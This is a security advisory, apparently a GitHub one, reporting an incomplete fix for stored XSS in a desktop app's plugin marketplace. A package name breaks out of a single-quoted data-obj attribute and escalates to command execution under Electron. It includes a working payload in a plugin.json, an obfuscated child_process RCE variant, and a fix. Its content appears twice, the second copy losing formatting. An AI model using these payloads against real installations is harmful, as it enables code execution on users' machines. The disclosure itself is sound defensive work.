Summary
The fix for GHSA-27qc-m5gf-jv5r ("Bazaar marketplace stored XSS") is incomplete. It HTML-escapes the
visible text fields of a marketplace package (name, version, author, description) when they are
rendered into text nodes, but it does not escape the same untrusted fields when they are serialized into
the data-obj HTML attribute of each marketplace card. Because the attribute is single-quoted and the
value is produced with JSON.stringify() (which does not escape ', <, or >), a package whose name
contains a single quote breaks out of the attribute and injects arbitrary HTML. In the desktop client the
main BrowserWindow runs with nodeIntegration: true, contextIsolation: false, so the injected markup
escalates from DOM XSS to arbitrary OS command execution.
This is the same root cause and same impact as the original advisory, reached through a sibling sink the
patch did not cover. It is exploitable on the current patched code (dev branch / v3.7.0).
Root cause
Marketplace cards are built by bazaar.ts and inserted with innerHTML (e.g. bazaar.ts:476,
:1084, :1123, :1148). Each card serializes raw package fields into a single-quoted data-obj
attribute. Representative code (bazaar.ts:262-272, dev):
const dataObj = {
bazaarType,
themeMode: themeMode,
updated: item.updated,
name: item.name, // RAW package.json name attacker controlled
repoURL: item.repoURL, // RAW
repoHash: item.repoHash,
downloads: item.downloads,
downloaded: false,
};
return `<div data-obj='${JSON.stringify(dataObj)}' class="b3-card...">
...
${escapeHtml(item.preferredName)} // text node correctly escaped by the patch
...`;
Two things which make this exploitable:
-
The patch only escaped the text-node sinks. escapeHtml (app/src/util/escape.ts) escapes &
and < and is applied to ${escapeHtml(item.preferredName)} etc., but it is never applied to
data-obj. JSON.stringify escapes " but leaves ', <, > intact, and the attribute uses
single quotes so a ' in name terminates the attribute and following markup escapes the element.
-
The kernel deliberately un-escapes these fields before sending them to the UI. Commit
30cdde531 ("HTML escaping no longer affects the display and search of marketplace packages") removed
the server-side escaping introduced by the original fix and added unescapePackageDisplayStrings
(kernel/bazaar/package.go), called from getStageIndex (kernel/bazaar/stage.go), which runs
html.UnescapeString over Name, Author, Version, etc. Local packages are likewise no longer
escaped in ParsePackageJSON. The raw '/</> therefore reach the data-obj attribute on the
patched build.
Additional data-obj sinks with the same flaw: bazaar.ts:308-321 (_genUpdateItemHTML),
:415-430 (plugin list), :511-517 (_genReadmeHTML detail/side panel). repoURL and repoHash
are injected raw alongside name and are equally abusable.
Impact
Any user who merely views the affected package in the marketplace (Settings → Marketplace
browse list, "Downloaded" list, update list, or the package detail panel) parses the injected HTML.
No click beyond viewing the list is required (the payload uses <img onerror> which fires on parse).
In the Electron desktop client (nodeIntegration:true, contextIsolation:false, webSecurity:false)
the handler can call require('child_process').exec(...) for arbitrary command execution with the
user's privileges. Persists across restarts and sync.
Delivery vectors: a malicious package published to the community bazaar, or a crafted local package
manifest (installed plugin/theme/template/widget/icon).
Proof of concept
Malicious plugin.json (or theme/template/widget/icon manifest)
{
"name": "x'><img src=x onerror=alert(document.domain)>",
"author": "attacker",
"url": "https://github.com/attacker/evil-plugin",
"version": "1.0.0",
"displayName": { "default": "Cool Plugin" },
"description": { "default": "totally legit" }
}
For real RCE in the desktop client, swap the handler (keep it quote-free so JSON.stringify cannot
corrupt it), e.g.:
x'><img src=x onerror=top.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115)).exec('calc')>
Resulting DOM (card inserted via innerHTML)
<div data-obj='{"bazaarType":"plugins",...,"name":"x'><img src=x onerror=alert(document.domain)>",...}' class="b3-card">
The ' after name":"x closes data-obj, > closes the <div>, and <img onerror> becomes a live
sibling node and executes.
Reproduction harness (verified)
A standalone harness using the verbatim escapeHtml/escapeAttr from app/src/util/escape.ts
and the verbatim card template from bazaar.ts:262-306, inserting the card via innerHTML exactly
as bazaar.ts:476 does, was loaded in headless Chromium 147. Entering the payload
x'><img src=x onerror=alert(document.domain)> as the package name:
alert() fired: true
alert() message (document.domain): "127.0.0.1"
VERDICT: XSS TRIGGERED
Control test: the identical payload routed only through the patched escapeHtml text-node sink (with
the data-obj attribute removed) does NOT execute confirming the data-obj attribute is the
specific unfixed sink.
Remediation
Escape the serialized object before placing it in the attribute, in every card builder
(bazaar.ts ~272, ~321, ~430, ~517):
// single-quoted attribute -> escape at least the single quote (and ideally < >):
`<div data-obj='${escapeAttr(JSON.stringify(dataObj))}' class="b3-card...">`
or switch to a double-quoted attribute with "-escaping, or store the object out-of-band
(e.g. a WeakMap keyed by element) instead of in an HTML attribute. Escaping the visible text fields
alone is insufficient because the same untrusted fields are also serialized into data-obj.
Summary
The fix for GHSA-27qc-m5gf-jv5r ("Bazaar marketplace stored XSS") is incomplete. It HTML-escapes the
visible text fields of a marketplace package (
name,version,author,description) when they arerendered into text nodes, but it does not escape the same untrusted fields when they are serialized into
the
data-objHTML attribute of each marketplace card. Because the attribute is single-quoted and thevalue is produced with
JSON.stringify()(which does not escape',<, or>), a package whosenamecontains a single quote breaks out of the attribute and injects arbitrary HTML. In the desktop client the
main
BrowserWindowruns withnodeIntegration: true,contextIsolation: false, so the injected markupescalates from DOM XSS to arbitrary OS command execution.
This is the same root cause and same impact as the original advisory, reached through a sibling sink the
patch did not cover. It is exploitable on the current patched code (
devbranch / v3.7.0).Root cause
Marketplace cards are built by
bazaar.tsand inserted withinnerHTML(e.g.bazaar.ts:476,:1084,:1123,:1148). Each card serializes raw package fields into a single-quoteddata-objattribute. Representative code (
bazaar.ts:262-272,dev):Two things which make this exploitable:
The patch only escaped the text-node sinks.
escapeHtml(app/src/util/escape.ts) escapes&and
<and is applied to${escapeHtml(item.preferredName)}etc., but it is never applied todata-obj.JSON.stringifyescapes"but leaves',<,>intact, and the attribute usessingle quotes so a
'innameterminates the attribute and following markup escapes the element.The kernel deliberately un-escapes these fields before sending them to the UI. Commit
30cdde531("HTML escaping no longer affects the display and search of marketplace packages") removedthe server-side escaping introduced by the original fix and added
unescapePackageDisplayStrings(
kernel/bazaar/package.go), called fromgetStageIndex(kernel/bazaar/stage.go), which runshtml.UnescapeStringoverName,Author,Version, etc. Local packages are likewise no longerescaped in
ParsePackageJSON. The raw'/</>therefore reach thedata-objattribute on thepatched build.
Additional
data-objsinks with the same flaw:bazaar.ts:308-321(_genUpdateItemHTML),:415-430(plugin list),:511-517(_genReadmeHTMLdetail/side panel).repoURLandrepoHashare injected raw alongside
nameand are equally abusable.Impact
Any user who merely views the affected package in the marketplace (Settings → Marketplace
browse list, "Downloaded" list, update list, or the package detail panel) parses the injected HTML.
No click beyond viewing the list is required (the payload uses
<img onerror>which fires on parse).In the Electron desktop client (
nodeIntegration:true,contextIsolation:false,webSecurity:false)the handler can call
require('child_process').exec(...)for arbitrary command execution with theuser's privileges. Persists across restarts and sync.
Delivery vectors: a malicious package published to the community bazaar, or a crafted local package
manifest (installed plugin/theme/template/widget/icon).
Proof of concept
Malicious
plugin.json(or theme/template/widget/icon manifest){ "name": "x'><img src=x onerror=alert(document.domain)>", "author": "attacker", "url": "https://github.com/attacker/evil-plugin", "version": "1.0.0", "displayName": { "default": "Cool Plugin" }, "description": { "default": "totally legit" } }For real RCE in the desktop client, swap the handler (keep it quote-free so
JSON.stringifycannotcorrupt it), e.g.:
Resulting DOM (card inserted via innerHTML)
The
'aftername":"xclosesdata-obj,>closes the<div>, and<img onerror>becomes a livesibling node and executes.
Reproduction harness (verified)
A standalone harness using the verbatim
escapeHtml/escapeAttrfromapp/src/util/escape.tsand the verbatim card template from
bazaar.ts:262-306, inserting the card viainnerHTMLexactlyas
bazaar.ts:476does, was loaded in headless Chromium 147. Entering the payloadx'><img src=x onerror=alert(document.domain)>as the packagename:Control test: the identical payload routed only through the patched
escapeHtmltext-node sink (withthe
data-objattribute removed) does NOT execute confirming thedata-objattribute is thespecific unfixed sink.
Remediation
Escape the serialized object before placing it in the attribute, in every card builder
(
bazaar.ts~272, ~321, ~430, ~517):or switch to a double-quoted attribute with
"-escaping, or store the object out-of-band(e.g. a WeakMap keyed by element) instead of in an HTML attribute. Escaping the visible text fields
alone is insufficient because the same untrusted fields are also serialized into
data-obj.